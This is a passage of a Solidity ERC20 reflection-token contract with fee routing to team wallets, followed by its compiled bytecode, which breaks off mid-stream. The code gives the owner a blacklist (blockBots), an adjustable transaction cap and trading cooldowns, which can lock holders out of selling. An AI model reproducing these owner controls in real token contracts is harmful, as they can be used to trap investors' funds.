"ERC20: transfer amount exceeds allowance" ) ); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_taxFee == 0 && _teamFee == 0) return; _taxFee = 0; _teamFee = 0; } function restoreAllFee() private { _taxFee = 5; _teamFee = 10; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { if (cooldownEnabled) { if ( from != address(this) && to != address(this) && from != address(uniswapV2Router) && to != address(uniswapV2Router) ) { require( _msgSender() == address(uniswapV2Router) || _msgSender() == uniswapV2Pair, "ERR: Uniswap only" ); } } require(amount <= _maxTxAmount); require(!bots[from] && !bots[to]); if ( from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to] && cooldownEnabled ) { require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (30 seconds); } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) { takeFee = false; } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _teamAddress.transfer(amount.div(2)); _marketingFunds.transfer(amount.div(2)); } function startTrading() external onlyOwner() { require(!tradingOpen, "trading is already started"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}( address(this), balanceOf(address(this)), 0, 0, owner(), block.timestamp ); swapEnabled = true; cooldownEnabled = false; _maxTxAmount = 100000000000 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve( address(uniswapV2Router), type(uint256).max ); } function manualswap() external { require(_msgSender() == _teamAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _teamAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function blockBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function unblockBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 taxFee, uint256 TeamFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() { require(maxTxPercent > 0, "Amount must be greater than 0"); _maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2); emit MaxTxAmountUpdated(_maxTxAmount); } }
0x60806040526004361061010c5760003560e01c80636fc3eaec1161009557806395d89b411161006457806395d89b411461033b578063a9059cbb14610366578063c3c8cd80146103a3578063d543dbeb146103ba578063dd62ed3e146103e357610113565b80636fc3eaec146102a557806370a08231146102bc578063715018a6146102f95780638da5cb5b1461031057610113565b806323b872dd116100dc57806323b872dd146101d4578063293230b814610211578063313ce567146102285780635932ead1146102535780636b9990531461027c57610113565b8062b8cf2a1461011857806306fdde0314610141578063095ea7b31461016c57806318160ddd146101a957610113565b3661011357005b600080fd5b34801561012457600080fd5b5061013f600480360381019061013a9190612a3d565b610420565b005b34801561014d57600080fd5b50610156610570565b6040516101639190612ede565b60405180910390f35b34801561017857600080fd5b50610193600480360381019061018e9190612a01565b6105ad565b6040516101a09190612ec3565b60405180910390f35b3480156101b557600080fd5b506101be6105cb565b6040516101cb9190613080565b60405180910390f35b3480156101e057600080fd5b506101fb60048036038101906101f691906129b2565b6105dc565b6040516102089190612ec3565b60405180910390f35b34801561021d57600080fd5b506102266106b5565b005b34801561023457600080fd5b5061023d610c12565b60405161024a91906130f5565b60405180910390f35b34801561025f57600080fd5b5061027a60048036038101906102759190612a7e565b610c1b565b005b34801561028857600080fd5b506102a3600480360381019061029e9190612924565b610ccd565b005b3480156102b157600080fd5b506102ba610dbd565b005b3480156102c857600080fd5b506102e360048036038101906102de9190612924565b610e2f565b6040516102f09190613080565b60405180910390f35b34801561030557600080fd5b5061030e610e80565b005b34801561031c57600080fd5b50610325610fd3565b6040516103329190612df5565b60405180910390f35b34801561034757600080fd5b50610350610ffc565b60405161035d9190612ede565b60405180910390f35b34801561037257600080fd5b5061038d60048036038101906103889190612a01565b611039565b60405161039a9190612ec3565b60405180910390f35b3480156103af57600080fd5b506103b8611057565b005b3480156103c657600080fd5b506103e160048036038101906103dc9190612ad0565b6110d1565b005b3480156103ef57600080fd5b5061040a60048036038101906104059190612976565b61121a565b6040516104179190613080565b60405180910390f35b6104286112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146104b5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104ac90612fe0565b60405180910390fd5b60005b815181101561056c576001600a6000848481518110610500577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061056490613396565b9150506104b8565b5050565b60606040518060400160405280600b81526020017f4d696e692044696e676572000000000000000000000000000000000000000000815250905090565b60006105c16105ba6112a1565b84846112a9565b6001905092915050565b6000683635c9adc5dea00000905090565b60006105e9848484611474565b6106aa846105f56112a1565b6106a5856040518060600160405280602881526020016137b960289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061065b6112a1565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c339092919063ffffffff16565b6112a9565b600190509392505050565b6106bd6112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461074a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161074190612fe0565b60405180910390fd5b600f60149054906101000a900460ff161561079a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161079190612f20565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061082a30600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea000006112a9565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561087057600080fd5b505afa158015610884573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108a8919061294d565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561090a57600080fd5b505afa15801561091e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610942919061294d565b6040518363ffffffff1660e01b815260040161095f929190612e10565b602060405180830381600087803b15801561097957600080fd5b505af115801561098d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109b1919061294d565b600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610a3a30610e2f565b600080610a45610fd3565b426040518863ffffffff1660e01b8152600401610a6796959493929190612e62565b6060604051808303818588803b158015610a8057600080fd5b505af1158015610a94573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610ab99190612af9565b5050506001600f60166101000a81548160ff0219169083151502179055506000600f60176101000a81548160ff02191690831515021790555068056bc75e2d631000006010819055506001600f60146101000a81548160ff021916908315150217905550600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401610bbc929190612e39565b602060405180830381600087803b158015610bd657600080fd5b505af1158015610bea573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c0e9190612aa7565b5050565b60006009905090565b610c236112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610cb0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ca790612fe0565b60405180910390fd5b80600f60176101000a81548160ff02191690831515021790555050565b610cd56112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d62576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d5990612fe0565b60405180910390fd5b6000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610dfe6112a1565b73ffffffffffffffffffffffffffffffffffffffff1614610e1e57600080fd5b6000479050610e2c81611c97565b50565b6000610e79600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d92565b9050919050565b610e886112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f15576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f0c90612fe0565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600a81526020017f4d494e4944494e47455200000000000000000000000000000000000000000000815250905090565b600061104d6110466112a1565b8484611474565b6001905092915050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166110986112a1565b73ffffffffffffffffffffffffffffffffffffffff16146110b857600080fd5b60006110c330610e2f565b90506110ce81611e00565b50565b6110d96112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611166576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161115d90612fe0565b60405180910390fd5b600081116111a9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111a090612fa0565b60405180910390fd5b6111d860646111ca83683635c9adc5dea000006120fa90919063ffffffff16565b61217590919063ffffffff16565b6010819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf60105460405161120f9190613080565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611319576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161131090613040565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611389576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161138090612f60565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516114679190613080565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114e4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114db90613020565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611554576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161154b90612f00565b60405180910390fd5b60008111611597576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161158e90613000565b60405180910390fd5b61159f610fd3565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561160d57506115dd610fd3565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611b7057600f60179054906101000a900460ff1615611840573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561168f57503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156116e95750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156117435750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561183f57600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117896112a1565b73ffffffffffffffffffffffffffffffffffffffff1614806117ff5750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117e76112a1565b73ffffffffffffffffffffffffffffffffffffffff16145b61183e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161183590613060565b60405180910390fd5b5b5b60105481111561184f57600080fd5b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156118f35750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6118fc57600080fd5b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156119a75750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156119fd5750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611a155750600f60179054906101000a900460ff165b15611ab65742600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611a6557600080fd5b601e42611a7291906131b6565b600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6000611ac130610e2f565b9050600f60159054906101000a900460ff16158015611b2e5750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611b465750600f60169054906101000a900460ff165b15611b6e57611b5481611e00565b60004790506000811115611b6c57611b6b47611c97565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611c175750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611c2157600090505b611c2d848484846121bf565b50505050565b6000838311158290611c7b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c729190612ede565b60405180910390fd5b5060008385611c8a9190613297565b9050809150509392505050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611ce760028461217590919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611d12573d6000803e3d6000fd5b50600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611d6360028461217590919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611d8e573d6000803e3d6000fd5b5050565b6000600654821115611dd9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611dd090612f40565b60405180910390fd5b6000611de36121ec565b9050611df8818461217590919063ffffffff16565b915050919050565b6001600f60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611e5e577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611e8c5781602001602082028036833780820191505090505b5090503081600081518110611eca577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611f6c57600080fd5b505afa158015611f80573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611fa4919061294d565b81600181518110611fde577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061204530600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846112a9565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016120a995949392919061309b565b600060405180830381600087803b1580156120c357600080fd5b505af11580156120d7573d6000803e3d6000fd5b50505050506000600f60156101000a81548160ff02191690831515021790555050565b60008083141561210d576000905061216f565b6000828461211b919061323d565b905082848261212a919061320c565b1461216a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161216190612fc0565b60405180910390fd5b809150505b92915050565b60006121b783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612217565b905092915050565b806121cd576121cc61227a565b5b6121d88484846122ab565b806121e6576121e5612476565b5b50505050565b60008060006121f9612488565b91509150612210818361217590919063ffffffff16565b9250505090565b6000808311829061225e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122559190612ede565b60405180910390fd5b506000838561226d919061320c565b9050809150509392505050565b600060085414801561228e57506000600954145b15612298576122a9565b600060088190555060006009819055505b565b6000806000806000806122bd876124ea565b95509550955095509550955061231b86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461255290919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123b085600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461259c90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123fc816125fa565b61240684836126b7565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516124639190613080565b60405180910390a3505050505050505050565b6005600881905550600a600981905550565b600080600060065490506000683635c9adc5dea0000090506124be683635c9adc5dea0000060065461217590919063ffffffff16565b8210156124dd57600654683635c9adc5dea000009350935050506124e6565b81819350935050505b9091565b60008060008060008060008060006125078a6008546009546126f1565b92509250925060006125176121ec565b9050600080600061252a8e878787612787565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061259483836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611c33565b905092915050565b60008082846125ab91906131b6565b9050838110156125f0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016125e790612f80565b60405180910390fd5b8091505092915050565b60006126046121ec565b9050600061261b82846120fa90919063ffffffff16565b905061266f81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461259c90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6126cc8260065461255290919063ffffffff16565b6006819055506126e78160075461259c90919063ffffffff16565b6007819055505050565b60008060008061271d606461270f888a6120fa90919063ffffffff16565b61217590919063ffffffff16565b905060006127476064612739888b6120fa90919063ffffffff16565b61217590919063ffffffff16565b9050600061277082612762858c61255290919063ffffffff16565b61255290919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806127a085896120fa90919063ffffffff16565b905060006127b786896120fa90919063ffffffff16565b905060006127ce87896120fa90919063ffffffff16565b905060006127f7826127e9858761255290919063ffffffff16565b61255290919063ffffffff16565b9050838184965096509650505050509450945094915050565b600061282361281e84613135565b613110565b9050808382526020820190508285602086028201111561284257600080fd5b60005b858110156128725781612858888261287c565b845260208401935060208301925050600181019050612845565b5050509392505050565b60008135905061288b81613773565b92915050565b6000815190506128a081613773565b92915050565b600082601f8301126128b757600080fd5b81356128c7848260208601612810565b91505092915050565b6000813590506128df8161378a565b92915050565b6000815190506128f48161378a565b92915050565b600081359050612909816137a1565b92915050565b60008151905061291e816137a1565b92915050565b60006020828403121561293657600080fd5b60006129448482850161287c565b91505092915050565b60006020828403121561295f57600080fd5b600061296d84828501612891565b91505092915050565b6000806040838503121561298957600080fd5b60006129978582860161287c565b92505060206129a88582860161287c565b9150509250929050565b6000806000606084860312156129c757600080fd5b60006129d58682870161287c565b93505060206129e68682870161287c565b92505060406129f7868287016128fa565b9150509250925092565b60008060408385031215612a1457600080fd5b6000612a228582860161287c565b9250506020612a33858286016128fa565b9150509250929050565b600060208284031215612a4f57600080fd5b600082013567ffffffffffffffff811115612a6957600080fd5b612a75848285016128a6565b91505092915050565b600060208284031215612a9057600080fd5b6000612a9e848285016128d0565b91505092915050565b600060208284031215612ab957600080fd5b6000612ac7848285016128e5565b91505092915050565b600060208284031215612ae257600080fd5b6000612af0848285016128fa565b91505092915050565b600080600060608486031215612b0e57600080fd5b6000612b1c8682870161290f565b9350506020612b2d8682870161290f565b9250506040612b3e8682870161290f565b9150509250925092565b6000612b548383612b60565b60208301905092915050565b612b69816132cb565b82525050565b612b78816132cb565b82525050565b6000612b8982613171565b612b938185613194565b9350612b9e83613161565b8060005b83811015612bcf578151612bb68882612b48565b9750612bc183613187565b925050600181019050612ba2565b5085935050505092915050565b612be5816132dd565b82525050565b612bf481613320565b82525050565b6000612c058261317c565b612c0f81856131a5565b9350612c1f818560208601613332565b612c288161346c565b840191505092915050565b6000612c406023836131a5565b9150612c4b8261347d565b604082019050919050565b6000612c63601a836131a5565b9150612c6e826134cc565b602082019050919050565b6000612c86602a836131a5565b9150612c91826134f5565b604082019050919050565b6000612ca96022836131a5565b9150612cb482613544565b604082019050919050565b6000612ccc601b836131a5565b9150612cd782613593565b602082019050919050565b6000612cef601d836131a5565b9150612cfa826135bc565b602082019050919050565b6000612d126021836131a5565b9150612d1d826135e5565b604082019050919050565b6000612d356020836131a5565b9150612d4082613634565b602082019050919050565b6000612d586029836131a5565b9150612d638261365d565b604082019050919050565b6000612d7b6025836131a5565b9150612d86826136ac565b604082019050919050565b6000612d9e6024836131a5565b9150612da9826136fb565b604082019050919050565b6000612dc16011836131a5565b9150612dcc8261374a565b602082019050919050565b612de081613309565b82525050565b612def81613313565b82525050565b6000602082019050612e0a6000830184612b6f565b92915050565b6000604082019050612e256000830185612b6f565b612e326020830184612b6f565b9392505050565b6000604082019050612e4e6000830185612b6f565b612e5b6020830184612dd7565b9392505050565b600060c082019050612e776000830189612b6f565b612e846020830188612dd7565b612e916040830187612beb565b612e9e6060830186612beb565b612eab6080830185612b6f565b612eb860a0830184612dd7565b979650505050505050565b6000602082019050612ed86000830184612bdc565b92915050565b60006020820190508181036000830152612ef88184612bfa565b905092915050565b60006020820190508181036000830152612f1981612c33565b9050919050565b60006020820190508181036000830152612f3981612c56565b9050919050565b60006020820190508181036000830152612f5981612c79565b9050919050565b60006020820190508181036000830152612f7981612c9c565b9050919050565b60006020820190508181036000830152612f9981612cbf565b9050919050565b60006020820190508181036000830152612fb981612ce2565b9050919050565b60006020820190508181036000830152612fd981612d05565b9050919050565b60006020820190508181036000830152612ff981612d28565b9050919050565b6000602082019050818103600083015261301981612d4b565b9050919050565b6000602082019050818103600083015261303981612d6e565b9050919050565b6000602082019050818103600083015261305981612d91565b9050919050565b6000602082019050818103600083015261307981612db4565b9050919050565b60006020820190506130956000830184612dd7565b92915050565b600060a0820190506130b06000830188612dd7565b6130bd6020830187612beb565b81810360408301526130cf8186612b7e565b90506130de6060830185612b6f565b6130eb6080830184612dd7565b9695505050505050565b600060208201905061310a6000830184612de6565b92915050565b600061311a61312b565b90506131268282613365565b919050565b6000604051905090565b600067ffffffffffffffff8211156131505761314f61343d565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006131c182613309565b91506131cc83613309565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115613201576132006133df565b5b828201905092915050565b600061321782613309565b915061322283613309565b9250826132325761323161340e565b5b828204905092915050565b600061324882613309565b915061325383613309565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561328c5761328b6133df565b5b828202905092915050565b60006132a282613309565b91506132ad83613309565b9250828210156132c0576132bf6133df565b5b828203905092915050565b60006132d6826132e9565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061332b82613309565b9050919050565b60005b83811015613350578082015181840152602081019050613335565b8381111561335f576000848401525b50505050565b61336e8261346c565b810181811067ffffffffffffffff8211171561338d5761338c61343d565b5b80604052505050565b60006133a182613309565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156133d4576133d36133df565b5b600182019050919050565b7f4e487b710000000000000000000000000000000000000000000000000